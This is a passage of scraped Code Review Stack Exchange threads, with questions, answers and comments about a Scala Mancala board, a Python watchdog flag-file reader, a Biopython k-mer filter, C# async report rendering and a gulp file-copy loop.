’Q’ for quit.\n&quot;) var g = Manscala() val (player1, player2) = getPlayers while (!g.isOver()) { // Print the options on the side of the current player if (g.player == 1) { println(g.board) printHelper() } else { printHelper() println(g.board) } if (g.player == 1) { print(&quot;\nPlayer A's turn: \n&quot;) } else { print(&quot;\nPlayer B's turn: \n&quot;) } val pos: Int = if (g.player == 1){ player1.getMove(g.board, 1) } else { player2.getMove(g.board, 2) } g = g.playTurn(pos) } println(g.board) val scores = g.scoreCalculator() println(&quot;Player A: &quot; + scores._1 + &quot;Player B: &quot; + scores._2) if (scores._1 &gt; scores._2) { println(&quot;Player A is the winner!&quot;) } else { println(&quot;Player B is the winner!&quot;) } } } <span class="math-container">```</span> </code></pre>
[]
[ { "body": "<p>Without having seen the other classes, this one looks pretty good so\nfar.</p>\n<ul>\n<li>The comments are useful. That's fantastic!</li>\n<li><code>val space = &quot; &quot; * 28</code> lovely.</li>\n<li>Naming of variables is good and consistent. I usually argue for\nspelled out variable names (<code>position</code>, etc.), but it's not that bad\nhere.</li>\n</ul>\n<p>A few things though that I'd consider:</p>\n<ul>\n<li><code>move</code> is very long. You've already made helper functions, so I'd\nmove them up and make them private.</li>\n<li>The <code>IllegalArgumentException</code>s could use a descriptive message each,\nlike\n<code>throw new IllegalArgumentException(s&quot;invalid player value $player&quot;)</code>.\nBetter yet, avoiding the situation by construction (see below).</li>\n<li>The indentation between <code>val (startSide, oppSide) =</code> and\n<code>val pos = start + 1</code> is odd, I'd at least give it a few more blank\nlines to make it more obvious what's happening. Also move the checks\ncloser to where the variables are set up\n(<code>if (startSide(start) == 0 ...</code> should probably come after\n<code>val start =</code>) to keep related things together.</li>\n<li>Consider naming arguments, although some IDEs will show them anyway.</li>\n<li>&quot;Just to be safe&quot; means what exactly?</li>\n<li>Are all the <code>toVector</code> and <code>toArray</code> calls necessary? I'd have\nthought that no conversion for the <code>Seq</code>s should be necessary at all\nhere? Maybe a different type than <code>Seq</code> should be used here if random\naccess is required anyway?</li>\n<li>If there are only two players, consider not making that implicit with\nusing 1 and 2, but using an enumeration so that you <em>can't</em> get into a\nstate where a <code>player</code> variable might be something unexpected. Same\nactually goes for <code>position</code>, consider making it a case class to\nclearly distinguish between special values of positions (like 6 here).</li>\n<li>&quot;Could use a better approach&quot;, that's true, it's a bit repetitive, but\non the other hand, it's clear what's happening, maybe don't actually\ndo anything about it. The <code>assert(false); {0, 0)</code> should be an\n<code>IllegalStateException</code> or something along those lines if you can't\nrule out the illegal state via some other means (<code>assert(false)</code>\ndoesn't tell the reader anything). Continuing with an invalid state\nis very bad generally and that's where exceptions can be easily used\nto avoid that.</li>\n<li><code>toString</code> can omit the <code>{}</code> parts for a simple variable.</li>\n<li>My IDE also suggests giving each public member a type declaration, I\ntend to agree with that. In this case <code>progress</code> should also have a\ntype declared, it helps with reading the whole thing.</li>\n<li>There are some magic constants in the code, of course 0, though I'd\nsay that doesn't count, but 6 definitely does. Consider making that a\nconstant and use it in the appropriate places, even for 5\n(<code>Board.SIZE - 1</code> or some such). It'll never change, yes, but it\nmakes the intent more clear to the reader. I don't understand the\nlogic enough to apply this suggestion to <code>lastPosAfterMove</code>, but it\napplies there too, for 7, 12, 13, 19, etc., presumably those are\nderived from the board size.</li>\n<li>I'd inline <code>pos</code>.</li>\n<li>Not quite sure without running it what the <code>foldLeft</code> sequence does,\nbut exactly for that reason I'd make it a helper function and reuse it\nonce.</li>\n</ul>\n<p>Some style ideas that I'm super sure with:</p>\n<ul>\n<li>Ranges could be used, like <code>!(0 until 6).contains(position)</code> to check\nfor validity. It looks clearer to me, but YMMV.</li>\n</ul>\n<hr />\n<p>I hope I didn't mix anything up, that said, this is how I'd probably do\nthe things outlined above:</p>\n<pre><code>/**\n * The board of an ongoing game of mancala\n *\n * @param player1 : The number of seeds in each of lower player's pods (left to right)\n * @param bank1 : The number of seeds in the lower player's bank\n * @param player2 : The number of seeds in each of upper player's pods (left to right, from that player's perspective)\n * @param bank2 : The number of seeds in the upper player's bank\n * @return a new board after the move takes place\n */\nclass Board(val player1: IndexedSeq[Int], val bank1: Int, val player2: IndexedSeq[Int], val bank2: Int) {\n\n import Board._\n\n object Player extends Enumeration {\n type Player = Value\n val First, Second = Value\n }\n\n import Player._\n\n // Depositing seeds along a side\n private def progress(seeds: Int, position: Int, side: IndexedSeq[Int]): (Int, IndexedSeq[Int]) = {\n val dist = math.min(seeds, Size - position)\n val newSide = side.zipWithIndex.map {\n case (a, b) =&gt; if ((position until position + dist).contains(b)) a + 1 else a\n }\n (seeds - dist, newSide)\n }\n\n private def depositInBank(seeds: Int, bank: Int): (Int, Int) =\n if (seeds &gt; 0) (seeds - 1, bank + 1) else (seeds, bank)\n\n /** Create a new board from a player taking a turn */\n def move(player: Player, position: Int): Board = {\n if (!(0 until Size).contains(position)) throw new IllegalArgumentException(s&quot;invalid position value $position is out of bounds&quot;)\n\n // Redistribute the pieces. Board movement positions are always counted\n // from the left\n val (startSide, oppSide) =\n if (player == First) (player1.toArray, player2.reverse.toArray)\n else (player2.reverse.toArray, player1.toArray)\n\n val start = if (player == First) position else Size - 1 - position\n if (startSide(start) == 0) throw new IllegalStateException(s&quot;invalid value for $start ...&quot;)\n\n val playerBank = if (player == First) bank1 else bank2\n\n val seeds = startSide(start)\n startSide(start) = 0\n\n // First side pass\n val (seedsFirstPass, playerPodsFirstPass) = progress(seeds, position = start + 1, startSide)\n val (seedsFirstPassAndBank, playerBankFirstPass) = depositInBank(seedsFirstPass, playerBank)\n\n // Move around the other side of the board\n val (seedsSecondPass, oppSideSecondPass) = progress(seedsFirstPassAndBank, position = 0, oppSide)\n\n // Skip the opponent's bank, but keep going if we can\n val (seedsThirdPass, playerPodsThirdPass) = progress(seedsSecondPass, position = 0, playerPodsFirstPass)\n\n // Stop by the bank\n val (seedsThirdsPassAndBank, playerBankSecondPass) = depositInBank(seedsThirdPass, playerBankFirstPass)\n\n // Just to be safe\n val (seedsFourthPass, oppSideFourthPass) = progress(seedsThirdsPassAndBank, position = 0, oppSideSecondPass)\n\n // Make our assumption explicit\n assert(seedsFourthPass == 0, &quot;Still seeds after fourth pass, did not account for that&quot;)\n\n // Construct the new board\n if (player == First)\n new Board(playerPodsThirdPass, playerBankSecondPass, oppSideFourthPass.reverse, bank2)\n else\n new Board(oppSideFourthPass, bank1, playerPodsThirdPass.reverse, playerBankSecondPass)\n }\n\n /** Capture pieces from a mancala game\n *\n * Pieces from the capturing pod and the opposite pod (same position, other player) are all emptied and moved\n * to the capturing player's bank.\n *\n * @param player the side doing the capturing\n * @param pos the position doing the capturing\n * @return a new mancala board after the capture\n */\n def capture(player: Player, pos: Int): Board = {\n assert(player1(pos) != 0 &amp;&amp; player2(pos) != 0)\n val toAdd = player1(pos) + player2(pos)\n val (newBank1, newBank2) =\n if (player == First)\n (bank1 + toAdd, bank2)\n else\n (bank1, bank2 + toAdd)\n new Board(player1.updated(pos, 0), newBank1, player2.updated(pos, 0), newBank2)\n }\n\n /** Calculate the last pod that will be visited by a move\n *\n * @param player the player making the move\n * @param pos the index of the move about to be made (always counting from the left)\n * @return a tuple (player, pos) that represents the player and position the last seed will be deposited in.\n * A position of 6 represents a player's bank.\n */\n def lastPosAfterMove(player: Player, pos: Int): (Player, Int) = {\n val seeds = (if (player == First) player1 else player2) (pos)\n val distToBank = if (player == First) Size - pos else pos + 1\n\n if (player == First)\n if (seeds &lt; distToBank) (First, pos + seeds)\n else if (seeds == distToBank) (First, Size)\n else if (seeds &lt;= distToBank + Size) (Second, Size - (seeds - distToBank))\n else if (seeds &lt;= distToBank + 12) (First, seeds - distToBank - 7)\n else if (seeds == distToBank + 13) (First, Size)\n else if (seeds &lt;= distToBank + 19) (Second, 19 - (seeds - distToBank))\n else throw new IllegalStateException(s&quot;value for seeds $seeds out of bounds&quot;)\n else\n if (seeds &lt; distToBank) (Second, pos - seeds)\n else if (seeds == distToBank) (Second, Size)\n else if (seeds &lt;= distToBank + Size) (First, seeds - distToBank - 1)\n else if (seeds &lt;= distToBank + 12) (Second, 12 - (seeds - distToBank))\n else if (seeds == distToBank + 13) (Second, Size)\n else if (seeds &lt;= distToBank + 19) (First, seeds - distToBank - 14)\n else throw new IllegalStateException(s&quot;value for seeds $seeds out of bounds&quot;)\n }\n\n private def foo(x: IndexedSeq[Int]): String =\n x.foldLeft(&quot;&quot;)((a, b) =&gt; a + StringContext(&quot; &quot;, &quot; &quot;).f(b)).trim\n\n override def toString: String = {\n val layer = &quot;-&quot; * 32\n val space = &quot; &quot; * 30\n f&quot;&quot;&quot;$layer\\n ${foo(player2)}\\n$bank2$space$bank1\\n ${foo(player1)}\\n$layer&quot;&quot;&quot;\n }\n}\n\n/**\n * Board companion object. Used as a factory to create a starting board easily\n */\nobject Board {\n val Size = 6\n\n /** Create an initial board */\n def apply(): Board = {\n val boardSide = List.fill(Size)(4).toVector\n new Board(boardSide, bank1 = 0, boardSide, bank2 = 0)\n }\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-19T20:37:51.967", "Id": "508459", "Score": "0", "body": "Is it possible to remove the passes and use something more resourceful and efficient @ferada" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-21T01:50:10.167", "Id": "508547", "Score": "0", "body": "Hello @ferada I have updated the question with the other two classes, your last review discarded the possibility of introducing a computer player which was my next addition. So if you could suggest something in that regards it would be great" } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T01:53:30.283", "Id": "257326", "ParentId": "257301", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T14:05:24.917", "Id": "257301", "Score": "4", "Tags": [ "object-oriented", "design-patterns", "scala" ], "Title": "Improving Mancala Game" }
257301
<p>I have been working with where I use watchdogs to be able read whenever I have created a file by the name -&gt; <em>kill_</em>.flag and it contains:</p> <pre><code>*kill_*.flag contains: hello;https://www.google.se/;123 </code></pre> <p>and my script is then going to read the created file, split the &quot;;&quot; between each other and give each a key where I later on print it out which I for now has the text &quot;Deleting&quot; where I will continue my script after I have completed this part.</p> <pre class="lang-py prettyprint-override"><code># !/usr/bin/python3 # -*- coding: utf-8 -*- import os import os.path import time import watchdog.events import watchdog.observers class AutomaticCreate(watchdog.events.PatternMatchingEventHandler): def __init__(self): self.delete_flag = &quot;*kill_*.flag&quot; watchdog.events.PatternMatchingEventHandler.__init__(self, patterns=[os.path.split(self.delete_flag)[1]], case_sensitive=False) def on_created(self, event): while True: try: with open(event.src_path) as f: content = f.read().split(&quot;;&quot;) payload = { &quot;name&quot;: content[0].strip(), &quot;link&quot;: content[1].strip(), &quot;id&quot;: content[2].strip() } break except OSError: print(f&quot;Waiting for file to transfer -&gt; {event.src_path}&quot;) time.sleep(1) continue while True: try: os.remove(event.src_path) break except Exception as err: print(f&quot;Trying to remove file -&gt; {err}&quot;) time.sleep(1) continue print(f'Deleting: {payload[&quot;name&quot;]} - {payload[&quot;link&quot;]} - {payload[&quot;id&quot;]}') def main(self): observer = watchdog.observers.Observer() observer.schedule(AutomaticCreate(), path=os.path.split(self.delete_flag)[0], recursive=True) observer.start() try: while True: time.sleep(1) except KeyboardInterrupt: observer.stop() observer.join() if __name__ == &quot;__main__&quot;: AutomaticCreate().main() </code></pre> <p>I wonder if there is a smarter or maybe even cleaner way to improve this code both performance and whatever it can be?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T13:05:24.630", "Id": "508308", "Score": "0", "body": "Are you using Python 2?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T13:15:14.207", "Id": "508314", "Score": "0", "body": "Python 3 :) @Reinderien" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T13:16:26.930", "Id": "508315", "Score": "2", "body": "Ok. Please file a new question with your updated code. In the meantime I'll need to roll back your edit to this one." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T13:24:32.823", "Id": "508316", "Score": "0", "body": "I have now created a new question in here: https://codereview.stackexchange.com/questions/257341/read-created-json-files-inside-a-given-folder :) @Reinderien" } ]
[ { "body": "<p>I genuinely hope you don't take offence by this, but this implementation is so insane that it's frankly impressive.</p>\n<p>Since you have <code>delete_flag = &quot;*kill_*.flag&quot;</code>, calling <code>os.path.split</code> on it is pointless. Perhaps you're substituting that with something else that has a path, but if you are, why isn't it parametrized?</p>\n<p>Do a tuple-unpack here:</p>\n<pre><code> content = f.read().split(&quot;;&quot;)\n payload = {\n &quot;name&quot;: content[0].strip(),\n &quot;link&quot;: content[1].strip(),\n &quot;id&quot;: content[2].strip()\n }\n</code></pre>\n<p>should just be</p>\n<pre><code>name, link, id = (part.strip() for part in f.read().split(';'))\n</code></pre>\n<p>Putting these in a <code>payload</code> dict is actively harmful. You only ever use these as variables later. About the most generous I can be here is to guess that there's actually more code in your application that you haven't shown which relies on the payload for some other network or serialized file operation, but if that's the case the whole question is invalid.</p>\n<p><code>AutomaticCreate</code> implements <code>PatternMatchingEventHandler</code> - so then why are you reinstantiating it here?</p>\n<pre><code> observer.schedule(AutomaticCreate()\n</code></pre>\n<p>You already instantiated it here:</p>\n<pre><code>AutomaticCreate().main()\n</code></pre>\n<p>Keep the second instantiation, and replace the first instantiation with a reference to <code>self</code>.</p>\n<p>The following is a strange and non-standard way of calling a base constructor:</p>\n<pre><code> watchdog.events.PatternMatchingEventHandler.__init__(self, patterns=[os.path.split(self.delete_flag)[1]], # ...\n</code></pre>\n<p>Just use <code>super()</code>.</p>\n<p>Rework your class to be a context manager, where <code>__enter__</code> calls <code>self.observer.start()</code>, and <code>__exit__</code> calls <code>self.observer.stop()</code>. Then, use your class instance in a <code>with</code> at the top level and delete your <code>main()</code> method.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T06:01:51.283", "Id": "508263", "Score": "0", "body": "`name, link, id = (part.strip() for part in f.read().split(';'))` I think I more elegant way would be `name, link, id = map(str.strip, f.read().split(';'))`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T06:59:00.337", "Id": "508264", "Score": "0", "body": "elegant but harder to read ;)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T08:48:15.320", "Id": "508274", "Score": "0", "body": "I have now created a new (Well updated the thread) with the new code with your guidens! Could you please look at it again and tell me if there is anything im missing? :)" } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T02:51:23.533", "Id": "257329", "ParentId": "257303", "Score": "4" } } ]
{ "AcceptedAnswerId": "257329", "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T15:18:29.583", "Id": "257303", "Score": "2", "Tags": [ "python", "python-3.x" ], "Title": "Read created files in a folder" }
257303
<p>I have stuck with this script it would be great if you could help me with your inputs. My problem is that I think the script is not that efficient - it takes a lot of time to end running.</p> <p>I have a fasta file with around 9000 sequence lines (example below) and What my script does is:</p> <ol> <li>reads the first line (ignores lines start with <code>&gt;</code>) and makes 6mers (6 character blocks)</li> <li>adds these 6mers to a list</li> <li>makes reverse-complement of previous 6mers (list2)</li> <li>saves the line if non of the reverse-complement 6mers are in the line.</li> <li>Then goes to the next line in the file, and check if it contains any of the reverse-complement 6mers (in list2). If it does, it discards it. If it does not, it saves that line, and reads all reverse complement 6-mers of the new one into the list2 - in addition to the reverse-complement 6-mers that were already there.</li> </ol> <p>my file:</p> <pre><code>&gt;seq1 TCAGATGTGTATAAGAGACAGTTATTAGCCGGTTCCAGGTATGCAGTATGAGAA &gt;seq2 TCAGATGTGTATAAGAGACAGCGCCTTAATGTTGTCAGATGTCGAAGGTTAGAA &gt;seq3 TCAGATGTGTATAAGAGACAGTGTTACAGCGAGTGTTATTCCCAAGTTGAGGAA &gt;seq4 TCAGATGTGTATAAGAGACAGTTACCTGGCTGCAATATGGTTTTAGAGGACGAA </code></pre> <p>and this is my code:</p> <pre><code>import sys from Bio import SeqIO from Bio.Seq import Seq def hetero_dimerization(): script = sys.argv[0] file1 = sys.argv[1] list = [] list2 = [] with open(file1, 'r') as file: for record in SeqIO.parse(file, 'fasta'): for i in range(len(record.seq)): kmer = str(record.seq[i:i + 6]) if len(kmer) == 6: list.append(kmer) #print(record.seq) #print(list) for kmers in list: C_kmer = Seq(kmers).complement() list2.append(C_kmer[::-1]) #print(list2) cnt=0 if any(items in record.seq for items in list2): cnt +=1 if cnt == 0: print('&gt;'+record.id) print(record.seq) if __name__ == '__main__': hetero_dimerization() </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T15:37:36.677", "Id": "508219", "Score": "3", "body": "The current question title, which states your concerns about the code, applies to too many questions on this site to be useful. The site standard is for the title to **simply state the task accomplished by the code**. Please see [**How do I ask a good question?**](https://CodeReview.StackExchange.com/help/how-to-ask)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T16:54:46.477", "Id": "508231", "Score": "1", "body": "I have zero biology knowledge but there is something I suspect may not be intended: every time you find a `6mer`, you calculate the reverse complement of each `6mer` you have already found and append it to `list2`. let's number the found 6mers `m1, m2, ...` and the respective complements `c1, c2,...`; after the third iteration, `list` will contain `[m1,m2,m3]`, and `list2` will contain `[c1,c1,c2,c1,c2,c3]`. Could you please clarify if that is intended and, if yes, why?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T17:15:32.927", "Id": "508234", "Score": "0", "body": "@danzel - that was already a good hint, could you please help me to solve this? it should not be like that - meaning let's suppose in the first iteration I have 6mers ```[m1,m2,m3]``` from ```seq1``` and their respective complements are should be added to list2 ```[c1,c2,c3]``` and when iteration over the ```seq2``` - the script first should look if any of the ```[c1,c2,c3]``` are in ```seq2``` if yes then the ```seq2``` should be discarded else should be saved and its respective 6mer complements [c4,c5,c6] should be added to the list2 and the updated list2 should be ```[c1,c2,c3,c4,c5,c6]```" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T17:15:39.340", "Id": "508235", "Score": "0", "body": "Same for the next line  when reading ```seq3```, if any of respective complements are in seq3 then this ```seq3``` should be discarded, else should be saved and its respective 6mer complements should be added to the list2 and the updated list2 should be ```[c1,c2,c3,c4,c5,c6,c7,c8,c9,...]```" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T20:12:58.027", "Id": "508243", "Score": "0", "body": "Dear @danzel it would be great if I can get any help from you - many thanks" } ]
[ { "body": "<p>I think this should work - this is my own answer, please give your inputs</p>\n<p>I removed one list to avoid another layer of for loop in the code and performed the reverse-complement conversion in one compact loop. Also, I added the <code>pass</code> - <code>else</code> command to avoid writing 6mers of lines that do not meet the condition.</p>\n<pre><code>with open('file.fasta', 'r') as file:\n list = []\n for record in SeqIO.parse(file, 'fasta'):\n\n cnt = 0\n if any(items in record.seq for items in list):\n cnt += 1\n pass\n else:\n for i in range(len(record.seq)):\n kmer = str(record.seq[i:i + 6])\n if len(kmer) == 6:\n C_kmer = Seq(kmer).complement()\n list.append(C_kmer[::-1])\n\n if cnt == 0:\n print('&gt;' + record.id)\n print(record.seq)\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T22:53:28.327", "Id": "508257", "Score": "7", "body": "A rewrite is not a code review. You'll need to explain the changes." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T12:02:16.990", "Id": "508298", "Score": "0", "body": "Welcome to Code Review! You have presented an alternative solution, but haven't reviewed the code. Please explain your reasoning (how your solution works and why it is better than the original) so that the author and other readers can learn from your thought process." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T22:38:09.127", "Id": "257322", "ParentId": "257304", "Score": "-1" } }, { "body": "<p>Here is your original code with comments on which lines should be revised for clarity</p>\n<pre class=\"lang-py prettyprint-override\"><code>import sys\nfrom Bio import SeqIO\nfrom Bio.Seq import Seq\n\ndef hetero_dimerization():\n script = sys.argv[0] # script is unused; the line should be removed\n file1 = sys.argv[1]\n list = [] # list is a python built-in python; overwrite it at your own peril. I'd suggest renaming this variable\n list2 = []\n with open(file1, 'r') as file:\n for record in SeqIO.parse(file, 'fasta'):\n for i in range(len(record.seq)):\n kmer = str(record.seq[i:i + 6])\n if len(kmer) == 6: # this check is redundant. kmer is guaranteed to be of length 6\n list.append(kmer)\n #print(record.seq) # if you submit code for review, avoid commented out source code. it is confusing\n #print(list) # same here, avoid commented out code\n\n # this is a bug. You add every kmer to the list even if you discard the sequence\n # you also add redundant ones, which causes considerable slowdown\n for kmers in list:\n C_kmer = Seq(kmers).complement()\n list2.append(C_kmer[::-1])\n #print(list2) # avoid commented out code\n\n # adding a counter for a simple if is not very clean\n # instead consider `if not any(...):`\n cnt=0\n if any(items in record.seq for items in list2):\n cnt +=1\n\n if cnt == 0:\n print('&gt;'+record.id)\n print(record.seq)\n \nif __name__ == '__main__':\n hetero_dimerization()\n\n</code></pre>\n<p>Your code contains a bug (@danzel already pointed that out), as you append the list if inverse complements for every 6mer you encounter, irrespective of it being from a sequence you wish to discard and irrespective of it being already contained in the list. You've fixed the bug in your updated code and in the process also changed the algorithm to avoid a lot of unnecessary work.</p>\n<p>You can slightly (~15%) improve this further by (a) switching the complement list to a set and searching the set for each 6mer in the sequence (instead of the other way around) and by stopping the search early (<code>break</code>ing) if you encounter a 6mer that is already in the list. I also took the liberty to python-ify your code a bit in the process.</p>\n<pre class=\"lang-py prettyprint-override\"><code>def kmer_generator(record, k=6):\n sequence = record.seq\n for idx in range(len(sequence) - (k-1)):\n yield sequence[idx:(idx+6)]\n\ndef hetero_dimerization_optimized():\n taboo_list = set()\n resulting_sequences = list()\n with open(&quot;fasta-file&quot;, 'r') as file:\n for record in SeqIO.parse(file, 'fasta'):\n new_taboo_items = set()\n for kmer in kmer_generator(record):\n if str(kmer) in taboo_list:\n break\n complement = str(kmer.reverse_complement())\n new_taboo_items.add(complement)\n else:\n # this is entered only if no break occurs\n # i.e. if no kmer was in the taboo_list :)\n taboo_list = taboo_list.union(new_taboo_items)\n resulting_sequences.append(record.seq)\n return resulting_sequences\n</code></pre>\n<p>From here, your most noticable speedups would come from (a) writing your own <code>reverse_complement</code> function that reduces constant overhead (~50% of the runtime is spend on this line), (b) switching to numpy and using chararray to get access to <code>np.view</code> and avoid further copies of your data; this is in addition to (a) and could save you an additional 20%+ runtime.</p>\n<p>After this, you could look into <code>multiprocessing</code> to use additional cores to pre-filter sequences, but tbh. this will likely be over-engieered for a mere 9000 sequences.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T20:40:53.220", "Id": "257365", "ParentId": "257304", "Score": "1" } } ]
{ "AcceptedAnswerId": "257365", "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T15:20:02.457", "Id": "257304", "Score": "1", "Tags": [ "python", "performance" ], "Title": "Inefficient DNA heterodimerization script" }
257304
<p>This service takes in a report request object that can contain multiple reports that need to be rendered. This code works but I'm not sure if I've implemented anything wrong. Note the <code>exportedImage.Result</code> makes this synchronous but when I tried adding async and await to the <code>Parallel.ForEach</code> it doesn't seem to work so this was essentially a workaround, that's why I'm looking to figure out if I've implemented this correctly or not. <code>_exporter.Export</code> is an asynchronous method.</p> <p>Just FYI, when I tried to add async and await, I added it like so:</p> <p><code>await Task.Run(() =&gt; Parallel.ForEach(request.Reports, async report =&gt;</code></p> <p><code>var exportedImage = await _exporter.Export(_reportServerUrl, reportPath, export, reportParameters);</code></p> <pre><code>var reportDictionary = new ConcurrentDictionary&lt;int, string&gt;(); await Task.Run(() =&gt; Parallel.ForEach(request.Reports, report =&gt; { var (reportPath, bindingOrder, reportParameters) = report; var exportedImage = _exporter.Export(_reportServerUrl, reportPath, export, reportParameters); if (exportedImage.Result == null) { throw new InvalidOperationException($&quot;Could not render report {reportIdentifier} with binding order {bindingOrder}.&quot;); } reportDictionary.GetOrAdd(bindingOrder, exportedImage.Result); })); </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T17:49:52.667", "Id": "508238", "Score": "2", "body": "No, you're not using it properly. Do not mix `async`/`await` with the TPL methods (`Parallel.`). They're two totally different approaches to scalability." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T11:18:26.723", "Id": "508293", "Score": "0", "body": "@JesseC.Slicer for my scenario, would you recommend going TPL or only async await?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T12:26:56.107", "Id": "508302", "Score": "1", "body": "I rather like the answer that was accepted. Modern, clean." } ]
[ { "body": "<p>Here's pure <code>async</code> example without any workarounds.</p>\n<pre class=\"lang-cs prettyprint-override\"><code>private async Task ProcessReport(Report report, ConcurrentDictionary&lt;int, string&gt; reportDictionary)\n{\n var (reportPath, bindingOrder, reportParameters) = report;\n \n var exportedImage = await _exporter.Export(_reportServerUrl, reportPath, export, reportParameters);\n\n if (exportedImage == null)\n {\n throw new InvalidOperationException($&quot;Could not render report {reportIdentifier} with binding order {bindingOrder}.&quot;);\n }\n\n reportDictionary.GetOrAdd(bindingOrder, exportedImage);\n}\n</code></pre>\n<pre class=\"lang-cs prettyprint-override\"><code>var reportDictionary = new ConcurrentDictionary&lt;int, string&gt;();\n\nList&lt;Task&gt; tasks = new List&lt;Task&gt;();\nforeach (var report in request.Reports)\n{\n tasks.Add(ProcessReport(report, reportDictionary));\n}\nawait Task.WhenAll(tasks);\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T10:05:25.277", "Id": "508284", "Score": "1", "body": "I think if you could extend your answer with some explanation why we should not mix these two tools that would give clarity for the OP." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T10:14:10.530", "Id": "508285", "Score": "1", "body": "@PeterCsala updated the answer. I think OP knows that, the concern in the question: _it doesn't seem to work so this was essentially a workaround_, i just showed a proper implementation." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T11:11:59.573", "Id": "508292", "Score": "0", "body": "Thanks for the response. In my case, would you recommend using TPL or shall I only use async await pattern?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T11:47:31.770", "Id": "508295", "Score": "0", "body": "@UsmanKhan I guess you can do anything with `async`. Mixing tools makes the code less maintaineable. But find the difference between asynchronous and multithreading, totally different things." } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T21:38:19.853", "Id": "257320", "ParentId": "257306", "Score": "2" } } ]
{ "AcceptedAnswerId": "257320", "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T16:38:00.410", "Id": "257306", "Score": "1", "Tags": [ "c#", "asynchronous", "task-parallel-library" ], "Title": "Render multiple SSRS reports in parallel" }
257306
<p>I have an object array and i am using gulp 4.</p> <pre><code>libs: { a: { js: [ { src: 'path/from/a1.js', dest: 'path/to/a1.js',, }, { src: 'path/from/a2.js', dest: 'path/to/a2.js',, }, ], css: [ { src: 'path/from/a1.css', dest: 'path/to/b1.css',, }, ], }, b: { js: [ { src: 'path/from/b.js', dest: 'path/to/b.js',, }, ], }, } </code></pre> <p>I need to know all the src and dest values ​​so that I can move files from src to dest.</p> <pre><code>const moveLibs = (done) =&gt; { Object.entries(libs).forEach(([key, value]) =&gt; { const types = value; Object.entries(types).forEach(([key, value]) =&gt; { const srcAndDest = value; Object.entries(srcAndDest).forEach(([key, value]) =&gt; { return gulp .src(value.src) .pipe(gulp.dest(value.dest)); }); }); }); done(); }; </code></pre> <p>This method is successful, but I feel that it is not simple enough, please tell me a simpler method, thank you.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T21:28:00.410", "Id": "508249", "Score": "0", "body": "Welcome to Code Review! As it stands the title of the post isn't describing at all what the purpose of the code is, it would be good if you could revise it, c.f. [the FAQ](https://codereview.stackexchange.com/help/how-to-ask)." } ]
[ { "body": "<p>I would recommend a generic <code>filter</code> generator. This way the code does not need any knowledge of the shape of your input and the caller is left to decide how to handle the individual values -</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function* filter(t, f)\n{ if (f(t)) yield t\n switch(t?.constructor)\n { case Object:\n case Array:\n for (const v of Object.values(t))\n yield *filter(v, f)\n }\n}\n\nconst libs =\n {a:{js:[{src:'path/from/a1.js',dest:'path/to/a1.js'},{src:'path/from/a2.js',dest:'path/to/a2.js'}],css:[{src:'path/from/a1.css',dest:'path/to/b1.css'}]},b:{js:[{src:'path/from/b.js',dest:'path/to/b.js'}]}}\n\nfor (const v of filter(libs, t =&gt; t?.src &amp;&amp; t?.dest))\n console.log(JSON.stringify(v))</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<pre class=\"lang-js prettyprint-override\"><code>{&quot;src&quot;:&quot;path/from/a1.js&quot;,&quot;dest&quot;:&quot;path/to/a1.js&quot;}\n{&quot;src&quot;:&quot;path/from/a2.js&quot;,&quot;dest&quot;:&quot;path/to/a2.js&quot;}\n{&quot;src&quot;:&quot;path/from/a1.css&quot;,&quot;dest&quot;:&quot;path/to/b1.css&quot;}\n{&quot;src&quot;:&quot;path/from/b.js&quot;,&quot;dest&quot;:&quot;path/to/b.js&quot;}\n</code></pre>\n<p>Above we wrote a lambda 